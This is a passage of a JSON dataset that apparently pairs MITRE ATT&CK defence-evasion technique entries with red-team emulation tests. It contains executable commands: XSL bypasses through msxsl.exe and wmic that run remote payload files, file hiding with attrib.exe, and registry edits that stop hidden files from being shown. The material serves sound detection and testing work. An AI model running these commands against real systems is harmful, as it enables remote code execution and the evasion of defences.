- "get_prereq_command": "Invoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile \"#{msxsl_exe}\"\n"
- }
- ],
- "executor": {
- "command": "#{msxsl_exe} #{xmlfile} #{xslfile}\n",
- "cleanup_command": "del #{msxsl_exe} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "MSXSL Bypass using remote files",
- "auto_generated_guid": "a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985",
- "description": "Executes the code specified within a XSL script tag during XSL transformation using a remote payload.\nRequires download of MSXSL.exe. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )\nOpen Calculator.exe when test successfully executed, while AV turned off.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xmlfile": {
- "description": "Remote location (URL) of the test XML file.",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml"
- },
- "xslfile": {
- "description": "Remote location (URL) of the test XSL script file.",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl"
- },
- "msxsl_exe": {
- "description": "Location of the MSXSL executable.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1220\\bin\\msxsl.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n",
- "prereq_command": "if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile \"#{msxsl_exe}\"\n"
- }
- ],
- "executor": {
- "command": "#{msxsl_exe} #{xmlfile} #{xslfile}\n",
- "cleanup_command": "del -Path #{msxsl_exe} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMIC bypass using local XSL file",
- "auto_generated_guid": "1b237334-3e21-4a0c-8178-b8c996124988",
- "description": "Executes the code specified within a XSL script using a local payload.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "wmic_command": {
- "description": "WMI command to execute using wmic.exe",
- "type": "string",
- "default": "process list"
- },
- "local_xsl_file": {
- "description": "Location of the test XSL script file on the local filesystem.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "XSL file must exist on disk at specified location (#{local_xsl_file})\n",
- "prereq_command": "if (Test-Path #{local_xsl_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{local_xsl_file}) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl\" -OutFile \"#{local_xsl_file}\"\n"
- }
- ],
- "executor": {
- "command": "wmic #{wmic_command} /FORMAT:\"#{local_xsl_file}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMIC bypass using remote XSL file",
- "auto_generated_guid": "7f5be499-33be-4129-a560-66021f379b9b",
- "description": "Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_xsl_file": {
- "description": "Remote location of an XSL payload.",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl"
- },
- "wmic_command": {
- "description": "WMI command to execute using wmic.exe",
- "type": "string",
- "default": "process list"
- }
- },
- "executor": {
- "command": "wmic #{wmic_command} /FORMAT:\"#{remote_xsl_file}\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1564.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
- "type": "attack-pattern",
- "created": "2020-02-26T17:46:13.128Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.001",
- "url": "https://attack.mitre.org/techniques/T1564/001"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
- "source_name": "Antiquated Mac Malware"
- },
- {
- "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
- "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
- "source_name": "WireLurker"
- }
- ],
- "modified": "2020-03-29T22:32:25.985Z",
- "name": "Hide Artifacts: Hidden Files and Directories",
- "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a
for Windows and ls \u2013a
for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Creation",
- "Process: Process Creation",
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1564.001"
- },
- "atomic_tests": [
- {
- "name": "Create Windows System File with Attrib",
- "auto_generated_guid": "f70974c8-c094-4574-b542-2c545af95a32",
- "description": "Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details\nand observe that the Attributes are \"SA\" for System and Archive.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_to_modify": {
- "description": "File to modify using Attrib command",
- "type": "string",
- "default": "%temp%\\T1564.001.txt"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "The file must exist on disk at specified location (#{file_to_modify})\n",
- "prereq_command": "IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "echo system_Attrib_T1564.001 >> #{file_to_modify}\n"
- }
- ],
- "executor": {
- "command": "attrib.exe +s #{file_to_modify}\n",
- "cleanup_command": "del /A:S #{file_to_modify} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create Windows Hidden File with Attrib",
- "auto_generated_guid": "dadb792e-4358-4d8d-9207-b771faa0daa5",
- "description": "Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file\nand observe that the Attributes are \"SH\" for System and Hidden.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_to_modify": {
- "description": "File to modify using Attrib command",
- "type": "string",
- "default": "%temp%\\T1564.001.txt"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "The file must exist on disk at specified location (#{file_to_modify})\n",
- "prereq_command": "IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "echo system_Attrib_T1564.001 >> #{file_to_modify}\n"
- }
- ],
- "executor": {
- "command": "attrib.exe +h #{file_to_modify}\n",
- "cleanup_command": "del /A:H #{file_to_modify} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Hide Files Through Registry",
- "auto_generated_guid": "f650456b-bd49-4bc1-ae9d-271b5b9581e7",
- "description": "Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.\nSee how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v Hidden /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\" /v ShowSuperHidden /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\" /v Hidden /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1578.001": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
- "type": "attack-pattern",
- "created": "2020-06-09T15:33:13.563Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1578.001",
- "url": "https://attack.mitre.org/techniques/T1578/001"
- },
- {
- "source_name": "Mandiant M-Trends 2020",
- "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
- "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
- },
- {
- "source_name": "AWS Cloud Trail Backup API",
- "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html",
- "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020."
- },
- {
- "source_name": "Azure - Monitor Logs",
- "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor",
- "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020."
- },
- {
- "source_name": "Cloud Audit Logs",
- "url": "https://cloud.google.com/logging/docs/audit#admin-activity",
- "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."
- },
- {
- "source_name": "GCP - Creating and Starting a VM",
- "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2",
- "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020."
- }
- ],
- "modified": "2021-03-08T10:33:02.060Z",
- "name": "Create Snapshot",
- "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create
command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \"sourceSnapshot\":
parameter pointed to \"global/snapshots/[BOOT_SNAPSHOT_NAME]
.(Citation: GCP - Creating and Starting a VM)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Snapshot: Snapshot Metadata",
- "Snapshot: Snapshot Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1550.001": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "SaaS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Shailesh Tiwary (Indian Army)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Mark Wee",
- "Jen Burns, HubSpot"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
- "created": "2020-01-30T17:37:22.261Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550.001",
- "url": "https://attack.mitre.org/techniques/T1550/001"
- },
- {
- "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
- "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
- "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019."
- },
- {
- "source_name": "AWS Logging IAM Calls",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html",
- "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022."
- },
- {
- "source_name": "AWS Temporary Security Credentials",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html",
- "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022."
- },
- {
- "source_name": "Microsoft Identity Platform Access 2019",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
- "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019."
- },
- {
- "source_name": "Google Cloud Service Account Credentials",
- "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials",
- "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022."
- },
- {
- "source_name": "GCP Monitoring Service Account Usage",
- "url": "https://cloud.google.com/iam/docs/service-account-monitoring",
- "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022."
- },
- {
- "source_name": "okta",
- "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
- "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019."
- },
- {
- "source_name": "Rhino Security Labs Enumerating AWS Roles",
- "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration",
- "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022."
- },
- {
- "source_name": "Staaldraad Phishing with OAuth 2017",
- "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/",
- "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/593.html",
- "source_name": "capec",
- "external_id": "CAPEC-593"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.",
- "modified": "2022-05-20T17:40:20.069Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Application Access Token",
- "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Web Credential: Web Credential Usage"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078.004": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65",
- "created": "2020-03-13T20:36:57.378Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.004",
- "url": "https://attack.mitre.org/techniques/T1078/004"
- },
- {
- "source_name": "AWS Identity Federation",
- "url": "https://aws.amazon.com/identity/federation/",
- "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020."
- },
- {
- "source_name": "Google Federating GC",
- "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction",
- "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Deploying AD Federation",
- "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs",
- "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.",
- "modified": "2022-04-19T20:23:33.894Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts: Cloud Accounts",
- "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1078.004"
- },
- "atomic_tests": []
- },
- "T1480.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Nick Carr, Mandiant"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
- "created": "2020-06-23T22:28:28.041Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1480.001",
- "url": "https://attack.mitre.org/techniques/T1480/001"
- },
- {
- "source_name": "Proofpoint Router Malvertising",
- "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices",
- "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019."
- },
- {
- "source_name": "Kaspersky Gauss Whitepaper",
- "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf",
- "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019."
- },
- {
- "source_name": "Ebowla: Genetic Malware",
- "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf",
- "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019."
- },
- {
- "source_name": "EK Clueless Agents",
- "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf",
- "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019."
- },
- {
- "source_name": "EK Impeding Malware Analysis",
- "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf",
- "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019."
- },
- {
- "source_name": "Demiguise Guardrail Router Logo",
- "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js",
- "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019."
- },
- {
- "source_name": "Environmental Keyed HTA",
- "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/",
- "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
- "modified": "2022-05-04T14:52:51.290Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Environmental Keying",
- "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host Forensic Analysis",
- "Signature-based Detection",
- "Static File Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
